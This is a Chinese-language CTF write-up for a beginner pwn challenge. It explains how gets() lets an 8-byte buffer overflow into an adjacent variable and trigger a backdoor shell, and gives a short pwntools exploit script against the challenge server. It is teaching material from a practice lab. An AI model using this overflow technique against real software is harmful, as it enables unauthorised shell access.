【PWN】HappyNewYearCTF_2_栈上变量覆写1

题目地址:https://ctf.cssec.cc/games/25/challenges

Author: Sonder

Difficulty: Easy

Category: 栈溢出


gets函数是C语言中的一个函数,用于读取一行文本。这个函数的问题在于,它不会检查输入的长度,所以如果输入的文本超过了目标缓冲区的大小,就会导致栈溢出

这是因为gets函数不知道你为字符串分配了多少内存,它会一直读取输入,直到遇到换行符或EOF。如果输入的数据超过了你分配的内存,gets就会把多余的数据写入其他内存区域,这就可能覆盖其他的变量或者程序的执行代码,导致程序崩溃或者其他未定义的行为

解题

首先checksec,可以看到保护全开,接下来IDA逆向看下。

通过IDA分析,可以发现,当v5=97时,会执行func(sh),我们进一步来看,可以发现实际func(sh)是一个后门函数,可以直接给到shell

接下来,分析一下溢出点,可以看到format是8个字节,但此时是通过gets进行输入,之前文章我们已经介绍过,gets是读取一行字符串到变量中,直到遇到换行停止。

故这里肯定存在溢出。那如何溢出到v5。我们进一步分析栈空间。

复制代码
  High
  Address |                 |
          +-----------------+  <-- rbp + 0x8
          | return address  |  (8字节,函数返回地址)
          +-----------------+  <-- rbp (栈基址寄存器)
          | old rbp         |  (8字节,调用者的栈基址)
          +-----------------+  <-- rbp - 0x8
          | canary value    |  (8字节,栈保护值)
          +-----------------+  <-- rbp - 0x10
          | v5 (__int64)    |  (8字节,局部变量)
          +-----------------+  <-- rbp - 0x18
          | format[8]       |  (8字节,可控的格式化字符串)
  Low     |                 |
  Address

通过栈空间,可以发现,本题中canary实际并无影响,只需通过format溢出到v5即可。

97是a的ASCII码,故我们只需要输入8个字符加一个a即可,在这里我输入9个a,可见下图溢出成功,获取管理权限

exp编写

截止目前,已经可以成功获取flag,但是本着学习的原则。我们仍需进一步编写exp。

py 复制代码
from pwn import *

# 设置日志级别debug,可以打印更多log
context.log_level = 'debug'
HOST = 'challenges.ctf.cssec.cc'
PORT = 32779

r = remote(HOST,PORT)

# 获取输出内容,
r.recvuntil('I will show it.')

exp = 'a'*9
# 发送exp
r.sendline(exp)
# 开始交互
r.interactive()
相关推荐
Lsir10110_7 分钟前
【Linux】进程信号(下半)
linux·运维·服务器
skywalk816323 分钟前
unbound dns解析出现问题,寻求解决之道
运维·服务器·dns·unbound
枷锁—sha23 分钟前
Burp Suite 抓包全流程与 Xray 联动自动挖洞指南
网络·安全·网络安全
酉鬼女又兒24 分钟前
零基础入门Linux指南:每天一个Linux命令_pwd
linux·运维·服务器
云飞云共享云桌面26 分钟前
高性能图形工作站的资源如何共享给10个SolidWorks研发设计用
linux·运维·服务器·前端·网络·数据库·人工智能
skywalk816328 分钟前
走近科学:unbound dns域名服务器自己本地解析出现问题,寻求解决之道
运维·服务器·dns·unbound
zl_dfq28 分钟前
Linux 之 【多线程】(pthread_xxx、轻量级进程、原生线程库、线程ID、__thread、线程栈、线程与信号、线程与程序替换)
linux
choke23329 分钟前
Python 基础语法精讲:数据类型、运算符与输入输出
java·linux·服务器
袁煦丞 cpolar内网穿透实验室32 分钟前
远程调试内网 Kafka 不再求运维!cpolar 内网穿透实验室第 791 个成功挑战
运维·分布式·kafka·远程工作·内网穿透·cpolar
菩提小狗38 分钟前
小迪安全2023-2024|第5天:基础入门-反弹SHELL&不回显带外&正反向连接&防火墙出入站&文件下载_笔记|web安全|渗透测试|
笔记·安全·web安全